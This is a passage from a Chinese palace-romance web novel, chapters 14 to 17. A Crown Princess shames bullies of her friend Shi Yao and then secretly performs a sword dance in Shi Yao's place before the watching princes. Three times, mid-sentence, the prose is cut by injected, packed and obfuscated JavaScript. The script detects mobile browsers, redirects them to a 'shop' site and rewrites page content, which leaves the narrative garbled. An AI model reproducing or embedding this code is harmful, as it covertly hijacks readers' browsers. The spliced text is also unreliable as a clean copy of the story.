此言便是盖棺定论了,崔蓁蓁不敢对太子妃怎么样,气得跺了跺脚,狠狠瞪了一眼师瑶,道:“那明日便拭目以待了。”
她既然能有取得这牡丹花神的本事,自然也能让师瑶做不成花神——无论是什么花神。
14. 第 14 章
崔蓁蓁与师瑶都行礼退下了,没了旁人,沐夷光便起了调笑太子的闲心,满怀期待地问道:“殿下怎么来了?”
陆修珩声音淡淡的,听不出什么情绪:“听闻太子妃今日在绛雪轩与叶贵妃唇枪舌剑,风头无两,连父皇都惊动了。”
沐夷光立刻将方才自己所说的话在脑子里过了一遍,虽然自己觉得理直气壮,不过圣心难测,她还是有些害怕:“宣成帝……父皇可是觉得臣妾所言有所不妥?”
他看你倒是妥当得很。
陆修珩抿了抿有些苍白的唇,似乎是在回想,终是道:“不必多虑,父皇体谅你重伤初愈,并未在意。”
若是让沐夷光知道宣成帝也纵容她,只怕尾巴都要翘到天上去。
沐夷光不知内情,但听得出陆修珩的声音从容缓和,不似作伪,这才放下心来。
陆修珩又道:“叶贵妃心胸狭窄,睚眦必报,你今日当众得罪了她,日后相处要多留个心眼。你那两个婢女,明日进宫也继续带着,只是莫要放在身边使用。”
沐夷光立刻抓住了重点:“所以殿下是担心我才来的吗?”
……
陆修珩不答反问:“孤方才说的话你记住了吗?”
“哦,臣妾记住了。”
不就是带着白露与素月么,沐夷光应得痛快,只想继续纠缠方才的那个话题。
陆修珩看出她的意图,立刻截住话头道:“父皇今日召我入宫,是为了四弟大婚那日太子妃遇刺一事。”
沐夷光一听,下意识反驳道:“哪里是臣妾遇刺,那伙贼人分明是冲着殿下来的,可是大理寺已查出了结果?”
长长的眼睫遮住了太子殿下墨色眸子里的冰冷与沉寂,旋即道出:“是鞑靼人所为。”
沐夷光立刻便想到了鞑靼人此举的报复意义,义愤填膺道:“一群宵小之辈,战场上打不过便刺杀暗算,定要将那伙贼人一网打尽,认罪伏法才是。”
太子妃心思单纯,几乎是太子殿下说什么她便信什么,不会去想一群异族人是如何在天子脚下潜伏下来的,遑论还要拿到太子行程,闯入皇子大婚的王府之中。
陆修珩看了看她,移开目光,又有意问道:“那鞑靼一族呢,便这样放过他们?”
沐夷光没想那么深,陆修珩这样一提醒,她也只脑补出了殿下言语中的回护之意,似乎只要她说个“不”字,他便能冲冠一怒为红颜。
她虽然气愤,但在边关一事上嗅觉敏锐,立刻收敛了情绪,大度道:“边关和平不易,臣妾便不与他们计较了。”
甚至还劝慰陆修珩:“殿下身体不好,不要再想那些打打杀杀的事情,如今天下平定,殿下只需修身齐家,治国安邦,调养好身体才是为长远计。”
似有一阵寒风吹过,陆修珩轻咳了两声,终究还是没有否认:“即便如此,只怕泰山大人心中担忧。”
想到自己那个爱女如命又脾气暴躁的爹爹,沐夷光露出一个有些想念的笑,安然道:“臣妾现在不是没事了么,回去臣妾便写一封家书,好让爹娘宽心,安心镇守边疆便是。”
陆修珩淡淡应了一声,心中倒有几分赞许。
毕竟是将门女子,失忆以后虽任性了些,大是大非面前依然能够顾全大局。
沐夷光又踮脚往舞台的方向看了看:“也不知这牡丹花神评选得怎么样了。”
……心中仍是惦记着玩儿。
陆修珩无情戳破她心中幻想:“崔蓁蓁虽然蛮横无理,有一句话倒是真的,贤阳公主早已买通了叶贵妃,此次的牡丹花神非她莫属。”
“啊?”沐夷光大失所望,她还看好那只《霓裳羽衣舞》呢。
只是被陆修珩这样一剧透,她也再没有了观赏的心思,立刻便决定和太子殿下一路回钟粹宫。
不过一刻来钟的路程,沐夷光仍是忍不住问道:“殿下耳聪目明,臣妾想再向你打听一个人?”
陆修珩抬了抬眼:“说。”
“殿下可认识严景书?”
“承明二十年春闱的探花郎,已授了翰林院修编,”陆修珩对京中大小官员全都了然于心,猜到她的目的,又补充道:“他是安徽庐州人士,出身普通,今年二十有二,还未曾娶妻。”
沐夷光催促道:“其长……品性为人如何?”
陆修珩看她一眼,不紧不慢道:“此人心思活络,与人和善,前途是差不了的,只是并非良配罢了。”
他又意味深长地提点一句:“他人姻缘,你还是莫要插手的好。”
沐夷光忙着替小姐妹遮掩心思,拒不承认:“臣妾不过随口一问而已,殿下说笑了。”
她自幼顺风顺水,哪里想得到其中的深意,只觉得陆修珩这番说话前言不搭后语,甚至还颇为体贴地想,要在妻子面前赞扬其他男子着实不易,殿下已算得上是大度了。
二人路上这一番折腾,宣成帝赐的赏都比他们更快到了钟粹宫,宣成帝身边的大太监万厚已经恭候多时了。
见太子和太子妃一同回宫,他拱拱手行礼道:“太子殿下,太子妃娘娘,咱家奉了皇上之命为太子妃娘娘送赏来了。”
二人行礼领旨。
“奉圣上口谕,太子妃娘娘出身名门,温良敦厚,雍容大度,且至情至性,肝胆过人,不输须眉,特赏赐黄金五十两、白银五百两、南海珍珠两斛,西洋闪金花缎两匹,钦此。”
宣成帝惯来抠门,但这一次赏赐的手笔可比上一次大得多,沐夷光有些受宠若惊地领旨谢恩。
刚行完礼,万厚便虚扶一把:“太子妃娘娘快快请起,您还有伤在身,可别伤了身体。”
沐夷光也从善如流:“多谢公公体恤。”
“太子妃娘娘不用客气,这都是咱家应该做的,”万厚掸了掸手上的拂尘,笑道:“要谢呀,还应该谢太子殿下,都是殿下心疼娘娘,皇上感怀太子夫妻情深意重,特意赏赐的。”
沐夷光嘴角抿成弯弯的线,偷偷抬眼看向太子殿下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629044|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他依旧是那副没什么表情的表情,仿佛万厚说的不是他一样。
她嘴角的弧度还在继续往上扬,谁让殿下总是这样,嘴上不承认,背后默默地对自己好。
只有刘宝看出殿下几不可察地皱了皱眉,万公公从来不说多余的话,他今日开口在太子妃娘娘面前为殿下美言,这第一可试探二人底细,第二可讨娘娘欢心,第三嘛,这胡说八道作顺水人情的本事,可不是人人都有的。
他心中感慨万千,怪不得这万公公能混成宣成帝身边的第一红人呢,今日又学到了。
入了夜,青霜与长缨继续为娘娘搽药。
青霜小心翼翼地在沐夷光肩膀伤处涂上玉露膏,惊喜道:“娘娘,这血痂已有些松动了,再过几日,应当就能脱落了。”
沐夷光只盼这伤处千万不要留疤,连忙吩咐长缨为自己缚上双手。
长缨用丝帕系好了,她还不放心:“再系紧点儿。”
长缨只好听话照做,几乎要勒红了娘娘细白幼嫩的手腕。
沐夷光也不嫌紧,这才安心躺下,又问道:“青霜,我这两年与阿瑶姐姐通过信吗?”
青霜收好玉露膏,道:“前年的确写过一封,娘娘可要看看师姑娘的回信?”
沐夷光抬了抬手,这才意识到自己行动不便:“取来念与我听吧。”
青霜去妆奁里翻找了一番,在一个小匣子里找到了师瑶的回信,两个丫鬟幼时也跟随姑娘念过一些书,青霜识的字多些,便轻声细语将信的内容念给娘娘听。
师瑶的这封回信说长也不长,说短也不短,先是诉了对沐夷光的思念之情,又就沐夷光信里所说的京城风土人情作了回应,其中隐约地感慨了一句沐夷光提及的心上人,实在是有缘千里来相会,只愿她能得偿所愿。
沐夷光躺在床上,双手交握,虽然她对信中所言毫无印象,但仍然能够推测出其中联系:自己在漠北长大,殿下则在漠北出征;自己来了京城,殿下又凯旋回京,可不是有缘千里来相会么。
自己要早日恢复记忆,才不辜负殿下这样一番深情厚谊。
她这样想着,很快便在窗外嘀嗒雨声与青霜温柔的念信声中幸福地睡着了。
第二日,沐夷光依旧是盛装打扮,带上青霜、长缨、白露和素月一同去往春日宴。
因着陆修珩昨日的话,她也多了个心眼,格外留意了这两个婢女,白露的状态似乎不大好,眼下厚厚地敷着粉,宛若惊弓之鸟,那素月的状态倒是好了很多,似乎生活都有盼头了。
她虽然觉得奇怪,但是陆修珩让她把这两人带着,便也依言照做,进了御花园,便吩咐她们不必再跟着了。
今日宴上要评的是石榴花神、莲花花神、秋海棠花神以及桂花花神,石榴花神是第一位。
离开宴只有不到半个时辰了,沐夷光看了半天,也未找到师瑶的身影。
想到她对这次春日宴的上心程度,沐夷光不免就担心起来,亲自带人去御花园寻找。
15. 第 15 章
师瑶今日着一身黄栌色舞衣,盘了一个飞天髻,虽然带着幕篱,崔蓁蓁仍是凭那把剑认出了她的身份。
崔蓁蓁身边还有一个贵女,是武安侯府的嫡女陈念巧,她今日特意挑了陈念巧来,也是有原因的。武安侯府承袭了好几代,已逐渐式微了,这样不上不下的身份,再嫁勋贵高门也是不能,武安侯府和陈念巧本人便都看上了入了翰林的探花郎。
陈念巧原也是要竞选莲花花神的,只是她学艺不精,便也像师瑶这般,把主意打到了稍冷门些的石榴花神上,这样一来,就更不能让同选了石榴花神且切合题意的师瑶出现在台上。
师瑶在湖边练了会儿剑舞,正要往园子里去,此刻二人便一左一右,在石阶前拦住了师瑶。
崔蓁蓁倚势凌人惯了,欺负起人来自有一套章程,都是她负责出言嘲讽,其他人具体实施。
她挡住师瑶的去路:“师姑娘,今日怎的不见你陪在太子妃身边呀?”
师瑶不答话,只是行礼避让:“臣女见过清平县主,若是县主无事,臣女便不多打扰了。”
崔蓁蓁怎么会就这样放过她:“怎么无事,本县主觉得你手里这把剑不错,拿来赏玩一番,这总可以吧?”
师瑶的那把剑是父亲赠的,剑鞘上的纹饰精细巧致,剑身轻巧灵便,极为适宜女子使用。
她往日里都极为爱惜,哪里肯轻易借给别人赏玩,便忍气吞声道:“不过是把普通的剑,虽未开刃,但也怕伤了县主,臣女还有事在身,先行告退了。”
听闻那剑还未开刃,崔蓁蓁立刻伸手去抢,师瑶不敢蛮力与清平县主相争,竟然让她得手了,陈念巧见她再无利器护身,便趁乱狠推了她一把:“清平县主召你,师姑娘急着走什么呀?”
这石阶离湖面极近,薄薄长了一层青苔,昨夜又下过雨,格外湿滑,师瑶被推了一个踉跄,跌倒在石阶上。
陈念巧立刻收回手笑道:“呀,师姑娘怎么摔倒了?大家可都看着的,这是你自己摔的,与我无关。”
崔蓁蓁也笑,将夺来的剑随手掷在地上:“一把剑这么护着作什么,瞧你那小家子气的样儿,还给你便是。”
舞衣沾上青苔的湿痕,已经染上了不少痕迹,师瑶想要起身,却觉得脚踝传来一阵剧痛,只得先伸手去够自己的剑。
看着师瑶这般狼狈的样子,陈念巧还落井下石道:“看看你那狐媚的样子,整天净想着如何勾引男人了,这偏乡僻壤来的女子便都是这般做派吗?”
崔蓁蓁又笑,这话算是说到她心坎里去了,觉得十分解气。
师瑶也顾不得捡剑了,抬头紧紧盯着陈念巧:“武安侯府家风便是如此做派吗?怪不得落到如此田地。”
“你!”
陈念巧心中气恼,还要动作,却被崔蓁蓁拦了下来,毕竟师瑶身后还有太子妃,她也不想把事情闹得太大。
“好了,你们今日还要准备花神评选呢,打算在这里闹到什么时候,”崔蓁蓁轻飘飘道:“方才虽是陈姑娘说话在先,不过师姑娘也还口了,就不必计较了。”
师瑶正要开口,却听得一个冷冷的女声道:“师姑娘不计较,本宫却是要计较的。”
崔蓁蓁与陈念巧一愣,只见沐夷光今日穿了一身浅杏色的绣折枝牡丹蜀锦长裙,绣着如意纹的雪青色云肩上缀着白玉蝴蝶,蓬步轻移,如花枝招展一般,与往日里过分素雅的着装风格大相径庭。
崔蓁蓁心里甚至泛起了嘀咕:太子和太子妃互相不喜,沐夷光以往赴宴也多是以素色为主,尽量都打扮得不惹眼,近日怎么不一样了?
二人慌慌张张行礼道:“见过太子妃娘娘。”
沐夷光远远地便听到了此处争执,她派人扶起了师瑶,若无其事问道:“这把剑看着眼熟,不是师姑娘的剑么,怎么落在地上?”
陈念巧率先答道:“是她自己摔的。”
青霜出言喝道:“太子妃娘娘与师姑娘说话,谁许你插嘴?”
陈念巧脸色白了白,往崔蓁蓁处看了一眼,似有求助之意,崔蓁蓁却是一副事不关己,高高挂起的样子。
沐夷光垂眸,居高临下地看着陈念巧:“这位姑娘瞧着眼生,是谁家的?”
“回娘娘的话,这是武安侯府的嫡女陈念巧,只可惜子孙不贤,朝中无人,空有一个爵位罢了,娘娘不知也是正常的。”
这一句话便将武安侯府的窘境揭了个底儿朝天,陈念巧的脸色更白了,半点不见方才盛气凌人的样子。
长缨回完话,便将剑拾起,奉给太子妃娘娘。
沐夷光拔剑出鞘,随意地挽出一个漂亮的剑花,剑身寒光凛凛,在日光底下熠熠生辉。
她又使出一招利落的穿刺,长剑直冲陈念巧而来,众人皆惊,陈念巧更是害怕地闭了眼。
只是众人设想的惨剧并未发生,沐夷光精准地收了力道,用剑尖轻轻巧巧地抬起了陈姑娘的下巴,颇有些认真地端详道:“看着倒是个聪明伶俐的,怎的如此不懂规矩呢?”
她收了势,又将话头对准了崔蓁蓁:“清平县主,你说是不是啊?”
那长剑虽未开刃,仍是明晃晃的,晃得崔蓁蓁脸色发白,只听得她低声道:“娘娘说的是,该掌嘴。”
沐夷光这才满意了,长剑入鞘,发出一声清鸣,旋即道:“既然清平县主都这么说了,那就掌嘴吧,劳烦县主给陈姑娘数着点儿数,什么时候觉得可以了,什么时候再停。”
陈念巧错愕抬头,太子妃娘娘进京两年,一直都很低调,今日怎的如此不留情面?
她转头用希冀的眼神看向崔蓁蓁,希望她能为自己求情,崔蓁蓁已经移开了目光,将自己择得一清二楚:“太子妃娘娘明鉴。”
陈念巧只好伸出手,一边往脸上打了一下,一边道:“臣女知错了。”
这力道太轻,甚至连崔蓁蓁也没数数,端看太子妃的反应。
沐夷光将这些都看在眼里,这样的人嘴上说知错了,也只是觉得自己错在被逮了个正着而已。
她淡淡道:“陈姑娘这会儿知道心疼脸面了?”
陈念巧只得又狠了狠心,用力往自己的脸上扇了一下,这一声脆响之下,崔蓁蓁也跟着数了个“一”。
然后便是“二、三、四、……、十。”
整整十下过后,陈念巧的脸颊两侧已是又红又肿了,崔蓁蓁才对沐夷光道:“太子妃娘娘,看来陈姑娘是真的知错了,便饶了她吧。”
沐夷光皱了皱眉,不想再看到这两个人:“还不快滚。”
两人连忙行礼谢罪,崔蓁蓁离着陈念巧远远的,飞快地走了。
见自家娘娘如此威武,长缨眼里的崇拜都要克制不住了:“娘娘好生厉害,奴婢瞧着方才说话的气势还有语气,竟和太子殿下有八分相似呢。”
沐夷光立刻便绷不住了,欣欣然笑了起来:“是吗?本宫听说恩爱的夫妻相处久了,便会有夫妻相,不仅说话做事相仿,连外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629045|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
貌也会有些相似呢。”
她忍不住伸手摸了摸自己的脸:“本宫若是与殿下有了夫妻相,也不知是会更好看些还是不好看些。”
长缨发自肺腑地应承道:“娘娘与殿下都是神仙般的人物,怎样都是美的。”
师瑶见了她这副臭美的样子,也笑道:“是啊,阿梨怎样都是最好看的小姑娘。”
“阿瑶姐姐又取笑我,”嘴上这样说,沐夷光却半点不好意思也没有,两人一同往宴台的方向走去,只是刚一用力,师瑶又觉得疼了,连路都走不动。
沐夷光慌道:“阿瑶姐姐,你没事吧?方才不还好好的吗?”
师瑶的头上已经冒出了细密的汗珠:“阿梨,我应当是崴了脚了。”
“快去请医女来,”沐夷光一边吩咐,一边扶着师瑶在一旁坐下:“早知姐姐情况如此严重,刚才就不该轻易饶了她们。”
师瑶摇了摇头,拦住了她:“阿梨方才为我出头,我心中已经很是感激了,只是贤阳公主与武安侯府在京城经营多年,根深蒂固,多一事不如少一事。”
沐夷光也明白师瑶心中的顾虑:“如此便罢了。”
医女很快赶了过来,为师瑶脱下鞋袜,这才发现她的脚踝已肿得如同发面馒头大小了,她的手刚碰到伤处,师瑶便痛得发出“嘶”声。
“这是伤到筋了,好在骨头没事,”医女的经验老道,她取了些常用的跌打损伤膏药,轻轻为师瑶敷上:“今日的膏药是冷敷,回去以后每日热敷,再服用些舒筋活血的汤药,静养些时日便好。”
一听到“静养”两个字,师瑶立刻便觉得不疼了:“哪里有这么严重,我一会儿还要跳舞呢。”
医女劝道:“师姑娘,脚伤万万不可用劲儿了,此处本来就受伤了,若是再有个什么好歹的,只怕要落下残疾。”
师瑶也不与她争辩,只是不说话了,心里是什么想法,却被沐夷光一眼看穿。
她性子刚毅,认定的事情就会努力去做,越是别人不看好,便越要证明自己,只是过刚易折,她实在不想看阿瑶姐姐再出什么事了。
等医女走了,沐夷光才道:“阿瑶姐姐,一会儿你还要上台是不是?”
师瑶勉强一笑,还要解释:“阿梨妹妹,我的伤没有那么严重,放心好了,一会儿我就在台上大展身手,让她们见识见识咱们漠北女子的风采。”
沐夷光想了想,做出了决定:“姐姐说得对,既然如此,我替你上台吧。”
师瑶听完都愣了,连忙劝阻道:“阿梨不可如此,你身为太子妃娘娘,身份尊贵,若是被人发现了——”
沐夷光狡黠一笑:“放心吧,你我二人身量相仿,长缨又有一手高超的梳妆技术,不会有人发现的。”
等师瑶再次回过神来的时候,沐夷光已经换好了她备用的舞衣,甚至盘好了与她一样的飞天髻,长缨正在细细为她勾画眼型。
师瑶长了一双略显妩媚的丹凤眼,沐夷光的眼睛则像是林间的小鹿一般又大又圆,清澈灵动。
只见长缨用几种不同深浅的妆粉和黛粉在沐夷光的眼周涂抹了一番,眼睛轮廓就变得细长一些了,她又描眉用的螺子黛轻轻描了几笔,再次将眼尾拉长。
她为娘娘带上幕篱,已经很是满意:“娘娘再笑一笑,便更像了。”
沐夷光玩心顿起,拉着师瑶坐在镜子前,两人都带着幕篱,只露出一双眼睛,镜子里的美人巧笑倩兮,说是双生子也不为过。
16. 第 16 章
今日是春日宴的第二天,宣成帝原本答应了叶贵妃要亲自出席,但是这几日政务繁忙脱身不得,便让一众皇子们代劳,也算是为她壮壮声势;若是皇子们有看上的闺秀,那便更是好事一桩了。
皇子们先后登上原为宣成帝预备的观赏台,只是备受瞩目的牡丹花神昨日已经评选完了,剩下的不过是矮子里头拔高个,楚王陆修瑞第一个就皱了眉:“连脸也看不见,这有什么好看的?”
秦王陆修珉笑了笑,他是长子,惯来比弟弟们懂事,此刻也温言劝解道:“花神评选比的是才艺,又不是长相,自然要以艺服人。”
说到才艺,这下连雍王陆修琢都摇了摇头:“这也不能怪三哥,的确是一群庸脂俗粉,难以入眼。”
听陆修琢这样一说,大家都笑了,除去不足一岁的六皇子陆修琅,就属五皇子陆修琢年纪最小,才十六岁,正是玩心重的时候,他倒是真真冲着欣赏才艺来的。
吴王陆修瑾最近人逢喜事精神爽,打趣道:“五弟你倒是要好好看看,我们几个也只有你还未大婚,若是有心仪的女子,那就先下手为强。”
“四哥新婚燕尔,就莫要拿我说笑了,”陆修琢不以为然道:“成亲有什么好的,平白多个人来管束自己。看看三哥,没成亲以前多自在呀。”
陆修瑞连连点头,母老虎的苦他已经吃够了,五弟不吃也罢。
陆修珉不想五弟被误导,又举出正面例子:“那你再看看你二哥,当初虽是父皇下旨赐婚,但是太子妃娘娘贤良淑德,才貌双全,最难得的是情深意重,危机关头不惜舍身相救。得妻如此,夫复何求呢?”
陆修珩来得虽晚,倒是将这几句话听得一字不漏,几个兄弟纷纷将目光投向他,秦王也笑道:“二弟以为如何?”
……
面对这些言过其实的评价,陆修珩发现自己竟连一个反驳的字儿都说不出来,明明沐氏事多又难缠,只最后一句勉强有些道理。
这些闲话他原本大可不必理会,但结合沐氏近日的斑斑劣迹,陆修珩忽有一种举世皆浊我独清的感触,竟然破天荒地回了一句:“不过是如鱼饮水,冷暖自知罢了。”
几位皇子又笑了起来,只当他是身在福中不知福。
陆修瑾也道:“说起来臣弟还没有当面向二嫂谢罪,婚宴上若不是二嫂挺身而出……臣弟实在不敢设想。”
他说的倒是真心话,如果太子死在他的婚宴上,那他可就跳进黄河也洗不清了。
陆修珩勾唇笑了笑,只是并无几分真心:“五弟不必挂心,孤的身子还没有那么弱。这一箭太子妃受得,孤自然也受得。”
这话意有所指,不过陆修瑾却是听不出来的,其他人也面色如常。
陆修瑾从善如流地点了点头:“二嫂这等英雄气概,实在巾帼不让须眉。等她的伤好了,臣弟一定携内子登门拜访。”
陆修珩无可无不可地点了点头,陆修瑾这话倒是提醒了他,沐夷光今日一早便出门了,她那样爱凑热闹的人,怎么如今还不见踪影?
若是惹出了什么乱子,最后仍然是他来收拾。
这样想着,陆修珩便悄声吩咐刘宝,派人留意一番太子妃的行踪。
虽然几位皇子觉得无聊,台上的比试却仍在继续,此刻上台的女子怀抱琵琶,蒙着面,弹了一曲《夕阳箫鼓》,虽然水平一般,但是那双眼睛带着泪意,真有点儿犹抱琵琶半遮面的愁绪了。
陆修瑾笑着对陆修琢道:“五弟,你看此女如何?”
陆修琢敬谢不敏:“我连她是谁都不知道,只知道曲子弹得一般。”
陆修瑞哈哈一笑:“这是武安侯府的嫡女陈念巧,现在人也告诉你了,你觉得如何?”
陆修琢连连摇头,倒是奇道:“三哥,此女蒙着面,你怎么知道是谁,不是说来唬我们的吧?”
陆修瑞得意道:“不是本王自夸,本王阅美无数,只要是见过一面的女人,看看身形和眼睛,便能猜个八九不离十。”
自然有机灵的小太监前去打听,的确是陈念巧无疑。
陆修琢还真就不信了:“谁知道你是不是瞎猫撞上死耗子,三哥,你再猜一个,若是这个也猜准了,臣弟便服了。”
陆修瑞忽然找到了这场宴会的乐趣,他取下手上正带着的碧玺扳指,出言激道:“光猜有什么意思,要赌便赌些彩头。”
陆修琅立刻解下了腰上系着的白玉双鱼佩,陆修瑾也道:“我出一方松花石双蒲芦砚。”
陆修瑾顺便拉秦王下水:“大哥你呢,可不能随便出点什么糊弄我们。”
陆修珉虽是长子,但是无心朝堂,只醉心于经商,多次被宣成帝斥责仍不悔改,的确是几个皇子中最有钱的。
他虽然对这场赌约不感兴趣,但也不想扫了弟弟们的兴,便道:“那我便出一块祖母绿的坠子吧。”
陆修瑞一听,立刻便摩拳擦掌志在必得。
这祖母绿的宝石甚为难得,除非西洋进贡,民间的商队也难有买卖的,秦王这可是下了血本了。
这下便只有陆修珩没有下注了,几个弟弟俱是殷切地看着他。
陆修珩靠坐在椅背上,懒得回视他们,自顾自斟了一杯茶,表情冷淡道:“孤最多保证不将你们拿仕女打赌的事情告诉父皇。”
陆修瑞不答应:“二哥,你这样就没意思了。”
虽然楚王看上去是与太子最不搭调的,但是二人年纪相仿,且慈懿皇后去世后三皇子母妃对太子多有照拂,竟也关系最好,是以他才敢如此放肆与陆修珩说话。
楚王这辈子,就败在女人身上了。
陆修珩忍住当众训他的冲动,给了他面子勉强道:“那孤便出一方镶石榴石的青玉水盛吧。”
赌注已定,几位皇子倒是来了精神,又往台上看去。
师瑶的序号是在评选石榴花神的最后一位,这顺序原本是吃亏的,但幸好如此,沐夷光才能来得及换完一整套的梳妆打扮,此刻便拎着剑上台了。
羯鼓与柳琴的声音缓缓响起,沐夷光的手腕动了动,粼粼的剑光便在台上舞动起来。
这女子着一身黄栌色的舞衣,更衬得她肤白如雪,贴身的舞衣将全身包裹得严严实实,仍然勾勒出纤细的腰肢和婀娜的身姿来,虽然看不清容貌,但那双眼睛却始终带着笑意,顾盼生姿。
鼓点由慢转急,她的身体也跟着飞速旋转起来,腾挪跌宕间,剑身映出的寒光几乎连成了一条亮白的绸带,她的腰肢柔软得像是河边的蒲苇,修长柔韧的双腿可以打成笔直的一条线,但剑势却凌厉,气吐虹霓,似乎天地也为之低昂,碧落星河也萦绕其间。
除了舞乐,台下几乎鸦雀无声,就连几位皇子也纷纷看得入了神。
陆修瑞都看呆了,即便蒙着幕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629046|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
篱,依照他的经验也能看出此女容貌必然艳冠京城,可是如此美人,他偏偏猜不出是谁,如斯美景,他又分不出神去想,真叫人心急如焚。
无人注意到,此女一上台,太子殿下攥着茶杯的手便骤然收紧了,修长的指节捏得发白,那双一贯波澜不惊的眼睛里甚至泛出了一点连他自己也未察觉的怒意。
很好,他想他找到今日一早就出门却遍寻不着的太子妃了。
不知何处吹来一阵清风,将附近的梨花花瓣都吹落其中,飘逸的剑势舞碎了花瓣,更舞碎了日光,浮光碎金纷纷落入那一双眼眸之中。
鼓点与琴音又开始变轻变慢,女子的剑势与身姿都变得轻缓,如若泠泠清月,漠漠春烟,似乎教人将呼吸都屏住了。梨花花瓣缓缓落下,长剑在空中画出最后一道光圈,稳稳收势。
女子低头,双手抱拳行了个作揖礼,匆匆下了台,台下众人静默片刻,这才如梦初醒,爆发出惊人的掌声。
陆修瑾一边鼓掌,一边揶揄道:“三哥,看来你已是成竹在胸了?”
陆修瑞闹了个没脸,讷讷道:“不应该啊,如此美人,我怎么从未见过?此女容貌,只怕是比起太——”
他自觉失言,立刻闭嘴。
陆修珩睨他一眼,冷声道:“不必猜了,此女是太仆寺少卿之女师瑶,随父进京不过三月。”
不等报信的小太监回话,陆修瑞立刻狗腿地把自己的扳指双手奉上:“还是皇兄慧眼如炬。”
陆修瑾却是不信的,太子一向不近女色,怎会对刚入京不久的女眷如此熟悉?
“急什么,答案还未揭晓呢,”他又看向陆修琢:“四弟,我看你方才看得入神,可是看中了此女?”
陆修琢自觉问心无愧:“莫要胡说。臣弟不过是觉得女子难得舞出如此雄健飘逸、刚柔相济的《剑器》舞来,的确是令人叹为观止。”
他是真心赞叹,可脸庞还是不由自主地漫上一点红色来。
陆修珩又泼上一盆凉水,牙缝里冷冷挤出几个字,像是从冰块里凿出来的:“此女已经心有所属了。”
几位皇子不由自主地转头看向太子,目光惊诧,只有陆修瑞充满绝望:不是吧?太子殿下已经娶了一个沐氏了,还想要抱得这样一个如花似玉的美人归吗?
陆修珩似觉不妥,轻咳一声,解释道:“她是太子妃的故交,所以孤才得知的。此女无意嫁入皇家,君子有成人之美,此事便到此为止吧。”
正好探听消息的小太监跑来,印证了此女的身份,其他几位皇子也愿赌服输,派人去将东西取来送到东宫。
只有陆修瑞还在恋恋不舍道:“本王怎么没听说过漠北也出美人呢,皇兄,要不你再帮我打听打听,师姑娘家里还有其他姊妹吗?或者太子妃娘娘有没有其他表亲,我和你做连襟,亲上加亲啊?”
这话说得太过愚蠢,就连秦王陆修珉也忍不住捂住了脸。
“你今日所言,孤会一字不落转告楚王妃,”陆修珩无情地推开这个蠢货弟弟:“孤还有事,先行片刻。”
“急着走什么?”陆修瑞高声喊道:“再猜一轮啊。”
陆修珩没有理会,大步流星地下楼了。
皇兄能有什么事,总不是赢了彩头就想跑吧?
陆修瑞实在是想不通,却没有注意到方才他心心念念的美人已在台下被清平县主拦住了。
17. 第 17 章
台下掌声雷动,花篮里的石榴花密密匝匝挤在一处,红艳艳的,像是落入了云霞。
沐夷光悄悄看了一眼,总算长舒一口气。
自己只是长于练剑,占了剑舞的便宜,单论舞艺,其实师瑶姐姐更好,看到自己没有丢了师瑶姐姐乃至漠北女子的脸,这才放下心来。
她下了台,匆匆往后台厢房里走去,却在过径的月洞门处被崔蓁蓁拦住了。
崔蓁蓁挑在这个地方还是费了些脑子的,此处离宴席有些距离,不会打扰评选的正常进行,又没有脱离众人的视线,真要闹出点什么事儿来,也不会被忽视。
“师姑娘好本事啊,这一曲剑器舞,怕是要名动京城了吧?”
怕漏了破绽,沐夷光不说话,只低头垂着眼,想要绕她而行。
“本县主和你说话呢,听不到吗?”崔蓁蓁伸手拦住她:“方才还理直气壮的,这会儿怎么不说话了?”
她在台上看到“师瑶”的时候便起了怀疑,陈念巧推的那一下很是用力,刚才师瑶倒在地上甚至都无力起身,这会儿怎么都能上台跳舞了?
崔蓁蓁几乎都能肯定,师瑶定是找了替身来替自己跳舞,她一定要在众人面前揭穿师瑶的真面目,如此一个碌碌无能、沽名钓誉之女,担不起花朝节花神之名!
迫于无奈,沐夷光只能微微眯着眼,压低了嗓子答道:“风寒,嗓子疼。”
她的声音清脆甜润,师瑶的声音更低柔些,一时半会儿也学不像,干脆破罐破摔,用一副瓮声瓮气的破锣嗓子和崔蓁蓁说话。
这声音半点也不像是师瑶,分明就是欲盖弥彰。
新仇旧恨一起涌上心头,崔蓁蓁忽然冒出一个大胆的猜想,今日事发突然,师瑶进京时间又短,不可能临时找到合适的跳舞人选,如此说来,只有与她交好又同为武将女儿的沐夷光符合要求。
想到这种可能,她立刻激动得连手都有些颤抖,只要自己让沐夷光当众摘下面纱,她一定会名誉扫地,太子哥哥也会知道这个女人的真面目,她根本不配当太子妃!
